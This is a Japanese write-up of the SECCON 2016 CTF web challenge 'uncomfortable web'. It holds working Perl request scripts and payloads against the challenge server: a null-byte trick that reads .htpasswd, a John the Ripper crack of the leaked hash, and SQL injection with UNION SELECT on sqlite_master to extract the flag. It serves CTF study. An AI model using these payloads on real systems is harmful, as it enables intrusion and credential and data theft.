CTF
seccon
writeup

SECCON 2016 Online CTF Writeup - uncomfortable web

More than 1 year has passed since last update.


uncomfortable web(Web, 300pts)


Attack to http://127.0.0.1:81/authed/ through the uploaded script

Get the flag in the database!


自作のスクリプトファイルをアップロードすると、リモートサーバ上で実行できます。

ローカルからのみアクセス可能な http://127.0.0.1:81/にアタックし、flagを探す問題です。

Shell, Perl, Python が選択でき、今回は Perl を使用しました。

uncomfortableweb.png


サンプルスクリプト

http://127.0.0.1:81/ にリクエストを送信するサンプルが配布されていました。

そのままアップロードして実行してみます。


sample

#!/usr/bin/perl

use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://127.0.0.1:81/');
my $res = $ua->request($req);
print $res->content;


sample-result

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51 </td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08 </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

出力されたHTMLをブラウザに読み込ませるとこうなります。

01.png


/authed にアクセス

はじめに、authed ディレクトリにアクセスを試みました。


01

#!/usr/bin/perl

use LWP::UserAgent;
use DBI;
my $ua = LWP::UserAgent->new;

my $url = 'http://127.0.0.1:81/authed/';
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
print $res->content;


01.png

401で弾かれてしまいます。BASIC認証を通す必要がありそうです。


select.cgi にアクセス

ファイル select.cgi にアクセスすると、a, b のドロップダウンが出てきました。


02

# 変更部分以外のソースは省略します。

$url = 'http://127.0.0.1:81/select.cgi';


02-result

<html>

<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>

02.png


select.cgi?txt=a にアクセス

a を選択した際のURLにアクセスすると、テキストファイルのようなものが表示されました。


03

$url = 'http://127.0.0.1:81/select.cgi?txt=a';


03.png


select.cgi?txt=b にアクセス

b を選択した際のURLにアクセスすると、同じくテキストファイルのようなものが表示されました。


04

$url = 'http://127.0.0.1:81/select.cgi?txt=b';



04-result

<html>

<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
</body></html>


select.cgi?txt=c にアクセス

a b と来ると、自然と c も試したくなるのでアクセスしてみます。

こちらも同じく、何やらテキストが表示されました。


05

$url = 'http://127.0.0.1:81/select.cgi?txt=c';



05-result

<html>

<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
---<br>
Do you want to enter authed/ directory?<br>
---<br>
</body></html>


select.cgi の動作について

select.cgi のこれまでの動作をまとめてみます。

パラメータ
表示されたテキスト

txt=a
authed/a.txt

txt=b
authed/b.txt

txt=c
authed/c.txt (?)

パラメータ txt=XXXXX を渡すことで、authed/XXXXX.txt を開けることが推測できます。


authedディレクトリのBASIC認証情報を取得

BASIC認証に使用される .htpasswd と呼ばれるファイルを探してみます。

URLを次のように指定することで authed/.htpasswd を読み込むことができました。


06

$url = 'http://127.0.0.1:81/select.cgi?txt=.htpasswd%00';



06-result

<html>

<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>

末尾を %00 とすることで、終端文字 \0 と認識させています。

終端文字を利用すると、末尾に付加される .txt を無視させることが可能です。

パラメータ
開くファイル名

txt=a
authed/a.txt

txt=.htpasswd
authed/.htpasswd.txt

txt=.htpasswd%00
authed/.htpasswd


.htpasswd を解析

取得できた keigo:LdnoMJCeVy.SE を解析します。

John the Ripper を使用すると、ユーザ名 keigo 、パスワード test であることが判明しました。

> john.exe htpasswd

Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
test (keigo)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 230500 trying: orange - horses
Use the "--show" option to display all of the cracked passwords reliably


authed ディレクトリにアクセス

BASIC認証の情報を入手できたため、再度 authed ディレクトリにアクセスを試みます。


07

(前略)

$url = "http://127.0.0.1:81/authed/";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
(後略)

06.png

直下に sqlinj ディレクトリがあるようです。


auhted/sqlinj ディレクトリにアクセス

authed/sqlinj ディレクトリにアクセスしてみます。


08

# 変更部分以外のソースは省略します。

$url = "http://127.0.0.1:81/authed/sqlinj/";

08.png

1.cgi100.cgi まで同一サイズのファイルが格納されていました。なぜ100個も……。


authed/sqlinj/1.cgi にアクセス

authed/sqlinj/1.cgi にアクセスすると、?no=4822267938 へのリンクが現れました。


09

$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi";



09-result

<html>

<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

09.PNG


authed/sqlinj/1.cgi?no=4822267938 にアクセス

先ほどの no パラメータを付加してアクセスすると、ISBNコード等が表示されました。


10

$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938";



10-result

<html>

<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>

10.png

ISBNコード=書籍 ですので、Amazonで検索してみます。……どうやら宣伝(?)のようです。

http://amazon.jp/dp/4822267938 → 絶対わかるセスペ27秋 2016年春版


SQLインジェクションを試みる


Get the flag in the database!


出題文を振り返ると、flagはデータベース内にあるようです。

先ほどのISBN情報がDBで管理されていると仮定し、SQLインジェクションを試しました。


11

$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=123' OR 1=1 --";



11-result

<html>

<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

失敗のようです。パラメータを指定しなかった場合と同一のHTMLが返ってきました。


100個のCGIに対して攻撃を試みる

同ディレクトリ内に存在する100個のCGIに対して、同じリクエストを投げてみました。


12

for ($i = 1; $i <= 100; $i++){

print "--- $i ---\n";
$url = "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=123' OR 1=1 --";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
$res = $ua->request($req);
print $res->content . "\n\n";
}


12-result(抜粋)

--- 72 ---

<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267865<br>
ISBN-13: 978-4822267865<br>
PUBLISH: 2015/2/20<p>
ISBN-10: 4822267911<br>
ISBN-13: 978-4822267919<br>
PUBLISH: 2015/8/27<p>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>

http://127.0.0.1:81/authed/sqlinj/72.cgi のみ、テーブル内の全レコードを返してきました。

私のSQLインジェクション力が不足していたため、以後の手順は、他の方の解法を参考にしつつ解き進めた内容となっています。


72.cgi を利用してDB内を探索

SQLiteと仮定した場合、sqlite_master からDB内のテーブル一覧を入手することが可能です。

出力されるカラムが3つ (ISBN-10, ISBN-13, PUBLISH) のため、カラム数を揃えた上で UNION を使用して sqlite_master を参照します。


13

$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT name, sql, 0 FROM sqlite_master --";



13-result

<html>

<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: books<br>
ISBN-13: CREATE TABLE books (isbn10,isbn13,date)<br>
PUBLISH: 0<p>
ISBN-10: f1ags<br>
ISBN-13: CREATE TABLE f1ags (f1ag)<br>
PUBLISH: 0<p>
</body></html>

books テーブルと f1ags テーブルが存在していることが判明しました。


flagを取得

先ほど判明した f1ags テーブルの f1ag カラムを取得します。

カラム数を揃えることを忘れずに。


14

$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT f1ag, 0, 0 FROM f1ags --";



14-result

<html>

<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br>
ISBN-13: 0<br>
PUBLISH: 0<p>
</body></html>


flag

SECCON{I want to eventually make a CGC web edition... someday...}


以上です。